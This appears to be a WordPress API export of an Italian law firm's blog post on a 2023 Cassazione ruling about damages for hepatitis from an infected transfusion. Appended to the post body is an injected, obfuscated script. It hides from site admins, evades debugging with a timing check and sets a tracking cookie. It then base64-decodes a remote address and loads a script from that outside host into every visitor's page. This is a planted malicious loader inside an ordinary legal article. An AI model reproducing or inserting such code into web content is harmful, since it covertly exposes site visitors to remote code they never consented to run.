{"id":28304,"date":"2023-05-02T10:23:20","date_gmt":"2023-05-02T10:23:20","guid":{"rendered":"https:\/\/www.dimariamalasanita.it\/?p=28304"},"modified":"2026-04-15T05:15:38","modified_gmt":"2026-04-15T05:15:38","slug":"trasfusione-infetta-nel-risarcimento-il-danno-va-calcolato-dal-momento-in-cui-si-manifestano-i-primi-sintomi","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=28304","title":{"rendered":"Trasfusione infetta: nel risarcimento il danno va calcolato dal momento in cui si manifestano i primi sintomi"},"content":{"rendered":"<p>NEL RISARCIMENTO DEL DANNO DA EPATITE CONTRATTA DA UNA TRASFUSIONE INFETTA IL DANNO VA CALCOLATO DAL MOMENTO IN CUI SI \u00c8 PALESATA LA MALATTIA E NON DA QUANDO SI CONTRAE L\u2019INFEZIONE<\/p>\n<p>La Corte di Cassazione, con la sentenza del 17 febbraio 2023 n. 5119, ha stabilito che in presenza di danni lungolatenti, cio\u00e8 quei postumi che si manifestano a distanza di tempo dal fatto illecito, il diritto al risarcimento del danno biologico sorge solamente nel momento in cui si palesano i sintomi e non da quando si \u00e8 realizzata la contrazione dell&#8217;infezione.<br \/>\nCome noto, il danno biologico riguarda le conseguenze pregiudizievoli per la persona e quindi fino a quando il virus non viene a manifestarsi e non comporta effettive problematiche, non \u00e8 possibile parlare di risarcimento del danno perch\u00e9 il solo danno evento non d\u00e0 diritto al ristoro.<br \/>\nPer meglio comprendere questo aspetto, precisiamo che nel concetto di danno vanno distinti due elementi: il danno evento e il danno conseguenza.<br \/>\nIl primo non \u00e8 altro che la lesione di un interesse giuridicamente rilevante arrecata da un terzo; mentre il secondo \u00e8 definito come il pregiudizio sofferto dalla vittima, in modo concreto, per il fatto dannoso che si \u00e8 verificato.<br \/>\nIl danno evento \u00e8 la lesione in s\u00e9 subita dalla parte danneggiata; il danno conseguenza \u00e8 il pregiudizio, di solito, economico in conseguenza del comportamento del danneggiante.<br \/>\nNel caso di specie, un soggetto aveva contratto l\u2019epatite in seguito ad una trasfusione di sangue infetto nel 1969.<br \/>\nLa problematica venne scoperta solo nel 2001 e la persona danneggiata fu costretta a subire un trapianto di fegato, poich\u00e9 le sue condizioni si erano aggravate dopo alcuni anni dalla comparsa della sintomatologia.<br \/>\nIl danneggiato citava in giudizio il Ministero della Salute e la Struttura Sanitaria per chiedere il risarcimento dei danni che aveva patito a causa dell\u2019infezione contratta.<\/p>\n<p>Secondo il Tribunale nel 1969 la malattia non era ancora conosciuta e non erano quindi note n\u00e9 le precauzioni da adottare n\u00e9 erano previste delle azioni da seguire per evitare il contagio, cos\u00ec non sorgevano obblighi in capo alla struttura sanitaria e proprio per questi motivi la domanda del richiedente veniva respinta.<br \/>\nDi parere diverso, invece, era la Corte d\u2019Appello poich\u00e9 secondo quest\u2019ultima dovevano essere controllate la provenienza del sangue e l\u2019idoneit\u00e0 dello stesso per poter essere usato nelle trasfusioni; proprio in virt\u00f9 di tali motivazioni veniva riconosciuto alla vittima un danno biologico a partire dal 2009, anno in cui la malattia si era palesata.<br \/>\nNel danno biologico da risarcire al danneggiato devono essere presenti sia la lesione di un interesse giuridicamente rilevante (danno evento) provocata da un soggetto diverso dal titolare, sia le conseguenze pregiudizievoli per il danneggiato (danno conseguenza) di non poter pi\u00f9 svolgere autonomamente le attivit\u00e0 quotidiane o di non riuscire a relazionarsi al meglio con gli altri.<br \/>\nNel caso di specie, a dir il vero, il ricorrente non presentava alcuni sintomi della malattia (danno evento) e non aveva riportato conseguenze pregiudizievoli nello svolgimento delle attivit\u00e0 quotidiane (danno conseguenza), fino a quando la malattia non si \u00e8 presentata, dopo tanti anni, nella sua forma pi\u00f9 grave tanto da richiedere il trapianto del fegato per l\u2019ammalato.<br \/>\nSecondo la Corte di Cassazione il danno biologico va risarcito dal momento in cui la malattia si \u00e8 manifestata e non quando \u00e8 avvenuto il fatto illecito poich\u00e9 devono essere presente sia il danno evento che il danno conseguenza.<br \/>\nNel caso di specie, per quasi 30 anni, eravamo in presenza del danno evento, ma non del danno conseguenza perch\u00e9 non si erano palesate le problematiche che, a far data dal 2009, hanno compromesso la vita del soggetto.<br \/>\nGrazie a quanto spiegato sopra, il risarcimento del danno biologico va liquidato dal momento in cui si \u00e8 palesata la malattia e non quando si \u00e8 verificato il fatto illecito.<\/p>\n<p>Dott. Luigi Pin\u00f2<\/p>\n<hr \/>\n<ul>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/flash-news\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione flash news<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/blog\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione blog<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/contatti\/\" target=\"_blank\" rel=\"noopener\">Contattaci per avere pi\u00f9 info<\/a><\/li>\n<\/ul>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>NEL RISARCIMENTO DEL DANNO DA EPATITE CONTRATTA DA UNA TRASFUSIONE INFETTA IL DANNO VA CALCOLATO DAL MOMENTO IN CUI SI \u00c8 PALESATA LA MALATTIA E NON DA QUANDO SI CONTRAE L\u2019INFEZIONE La Corte di Cassazione, con la sentenza del 17 febbraio 2023 n. 5119, ha stabilito che in presenza di danni lungolatenti, cio\u00e8 quei postumi [&hellip;]<\/p>\n","protected":false},"author":133,"featured_media":28305,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[231,1],"tags":[],"class_list":["post-28304","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-flash_news","category-malasanita"],"_links":{"self":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/28304","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/users\/133"}],"replies":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28304"}],"version-history":[{"count":2,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/28304\/revisions"}],"predecessor-version":[{"id":28487,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/28304\/revisions\/28487"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/media\/28305"}],"wp:attachment":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28304"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28304"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28304"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}